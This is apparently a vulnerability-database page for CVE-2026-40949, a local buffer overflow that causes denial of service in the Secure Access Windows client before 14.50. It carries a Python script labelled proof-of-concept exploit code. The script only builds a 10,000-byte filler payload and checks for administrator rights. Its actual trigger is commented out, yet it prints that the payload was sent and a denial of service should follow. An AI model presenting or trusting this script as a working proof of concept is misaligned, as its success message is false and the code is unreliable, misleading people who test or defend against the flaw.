CVE-2026-40949 is a buffer overflow vulnerability in the Secure Access
Windows client prior to 14.50. Attackers with local control of the
Windows client can use it to trigger a denial of service.
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Secure Access Windows Client < 14.50
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept (PoC) for CVE-2026-40949
# This script demonstrates the concept of triggering the buffer overflow.
# Note: Actual exploitation requires access to the vulnerable internal API or interface.
import sys
import os
def generate_malicious_payload():
# Create a large payload to trigger the buffer overflow
# The exact size may vary depending on the specific vulnerable buffer
payload = b'A' * 10000
return payload
def exploit():
# Check if running with necessary privileges (PR:H)
if os.name == 'nt':
try:
import ctypes
if not ctypes.windll.shell32.IsUserAnAdmin():
print("[!] Error: This PoC requires Administrator privileges (High Privileges required).")
return
except ImportError:
pass
print("[*] Generating malicious payload...")
payload = generate_malicious_payload()
print(f"[*] Payload length: {len(payload)} bytes")
print("[*] Attempting to trigger the vulnerability in Secure Access Windows Client...")
# In a real scenario, this would involve interacting with the client's specific IPC mechanism or file input.
# For example: vulnerable_client_function(payload)
try:
# Simulating the trigger
# vulnerable_interface.send(payload)
print("[+] Payload sent. If the target is vulnerable (< v14.50), a Denial of Service should occur.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
exploit()